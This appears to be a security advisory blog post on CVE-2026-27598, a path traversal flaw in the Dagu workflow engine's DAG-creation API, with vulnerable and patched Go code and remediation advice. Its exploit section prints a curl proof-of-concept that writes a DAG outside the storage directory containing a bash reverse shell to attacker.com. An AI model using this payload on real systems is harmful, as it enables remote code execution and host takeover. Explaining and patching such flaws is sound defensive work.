Feb 25, 2026·6 min read·7 visits
Unsanitized input in Dagu's `CreateNewDAG` API allows attackers to use directory traversal sequences (`../`) to write files anywhere on the host. Because Dagu executes the contents of these files, this leads to immediate RCE.
A critical Path Traversal vulnerability in the Dagu workflow engine allows attackers to break out of the intended storage directory. By manipulating the DAG name in the API, an attacker can write arbitrary YAML files anywhere on the filesystem. Since Dagu's primary function is executing shell commands defined in these files, this vulnerability grants unbridled Remote Code Execution (RCE) capabilities, turning a helpful automation tool into a hacker's playground.
Meet Dagu. It's a slick, self-proclaimed "cron replacement" written in Go. It loves DAGs (Directed Acyclic Graphs), it loves YAML, and most importantly, it loves executing shell commands to get work done. Developers use it to automate data pipelines, deployments, and backups. It is, by design, a remote command execution engine wrapped in a nice UI.
Now, usually, when you build a tool that executes commands based on files, you want to keep those files in a very specific, locked-down padded room. You don't want the user telling the engine where to put the logic. But Dagu had a bit of a blind spot. It assumed that when a user named a new workflow, they would play nice.
CVE-2026-27598 is the story of what happens when you let user input dictate filesystem operations. It turns out, if you let a user name their project ../../../../etc/cron.d/pwned, computers will dutifully oblige. This isn't just a bug; it's a skeleton key to the server's filesystem.
The vulnerability lives in the CreateNewDAG API endpoint. When you send a POST request to create a new workflow, you provide a JSON body with a name field. Dagu takes this name and needs to figure out where to store the corresponding YAML file on disk.
Most secure applications would strip out any special characters, hash the name, or strictly append it to a base directory. Dagu, however, had a logic bomb in internal/persis/filedag/store.go. The developers likely wanted to support absolute paths for internal flexibility, but they exposed this logic to the public API.
Here is the fatal logic flaw:
> 1. Check if the name contains a slash or separator. > 2. If it does, resolve it to an absolute path. > 3. If it resolves successfully, write the file there.
It completely ignored the configured baseDir (the safe sandbox) if the user provided a path separator. It didn't sanitize ../ sequences. It just saw a path, said "looks like a path to me," and handed it off to the OS to write. This is the programmatic equivalent of a bank teller letting you walk into the vault because you showed up wearing a vest that said 'Vault Inspector'.
Let's look at the actual Go code responsible for this mess. This snippet is from generateFilePath in the vulnerable version. It vividly demonstrates the logic failure.
// Vulnerable Code in internal/persis/filedag/store.go
func generateFilePath(baseDir, name string) (string, error) {
// If the name looks like a path, treat it as an absolute path!
if strings.Contains(name, string(filepath.Separator)) {
filePath, err := filepath.Abs(name)
if err == nil {
return filePath, nil // <--- The smoking gun
}
}
// ... otherwise join with baseDir
}See that? If I send name: "../../tmp/evil", strings.Contains returns true. filepath.Abs resolves it relative to the working directory, effectively breaking out of baseDir. The function returns the escaped path immediately, bypassing any sandbox logic.
Now, look at the fix in commit e2ed589105d79273e4e6ac8eb31525f765bb3ce4. The developers had to nuke this logic entirely and enforce containment.
// Patched Code
func generateFilePath(baseDir, name string) (string, error) {
// 1. Strip directory traversal shenanigans
cleanName := filepath.Base(name)
// 2. Force the path to be inside baseDir
filePath := filepath.Join(baseDir, cleanName)
// 3. Verify we didn't escape (Defense in Depth)
if !strings.HasPrefix(filePath, baseDir) {
return "", fmt.Errorf("invalid path")
}
return filePath, nil
}The fix forces filepath.Base(), which strips everything except the final filename (turning ../../tmp/evil into just evil). It then explicitly joins it with baseDir and verifies the prefix. Simple, effective, and what should have been there day one.
Exploiting this is trivially easy. We don't need buffer overflows or heap grooming. We just need curl and a dream.
The Attack Scenario:
We want to execute code as the user running Dagu. Since Dagu runs YAML files, we can just write a malicious YAML file. But where? We could overwrite an existing config, or we could write to a location that we know executes scripts (like init.d or cron if we are lucky with permissions). Or, we can simply write a DAG file to a hidden directory we control.
Here is the payload:
curl -X POST http://target:8080/api/v1/dags \
-H "Content-Type: application/json" \
-d '{
"name": "../../tmp/pwned_dag",
"spec": "steps:\n - name: RCE\n command: bash -c \"bash -i >& /dev/tcp/attacker.com/4444 0>&1\""
}'What happens next?
generateFilePath sees the / in the name./tmp/pwned_dag.yaml (assuming Dagu is running in a standard path).Even without immediate execution, this is an Arbitrary File Write. We could overwrite the dagu.yaml configuration file to disable authentication, or overwrite SSH authorized_keys if the process runs with high privileges.
This vulnerability is rated High (CVSS 7.1) for a reason. While the vector implies a "File Write," the context is a Workflow Engine. In this context, File Write == Code Execution.
If an attacker can write a DAG, they define the shell commands Dagu executes. The traversal allows them to:
Since many of these tools run in containerized environments (often as root inside the container), escaping the application directory can often mean full container compromise.
The remediation is straightforward but serves as a crucial lesson in Go security.
1. Sanitize Input at the Gate:
The API handler now explicitly calls core.ValidateDAGName(), which rejects names containing . or .. before they even reach the storage layer.
2. Anchor the Path:
The storage layer uses filepath.Base() to ensure that even if a bad name slips through validation, it is treated as a flat filename, not a path.
3. Verify the Result:
The use of strings.HasPrefix ensures that the final resolved path is mathematically strictly inside the allowed directory. This pattern is the gold standard for preventing path traversal in Go.
Immediate Action for Users:
Upgrade to a version containing commit e2ed589. If upgrading isn't possible, you must ensure the Dagu process runs with the absolute minimum filesystem permissions—it should technically only need write access to its specific data directory, nowhere else.
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N| Product | Affected Versions | Fixed Version |
|---|---|---|
dagu dagu-org | <= 1.16.7 | Post-1.16.7 (Commit e2ed589) |
| Attribute | Detail |
|---|---|
| CWE | CWE-22 (Path Traversal) |
| CVSS Score | 7.1 (High) |
| Attack Vector | Network (API) |
| Impact | Remote Code Execution (RCE) / Arbitrary File Write |
| Exploit Status | PoC Available |
| Fixed Commit | e2ed589105d79273e4e6ac8eb31525f765bb3ce4 |
Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')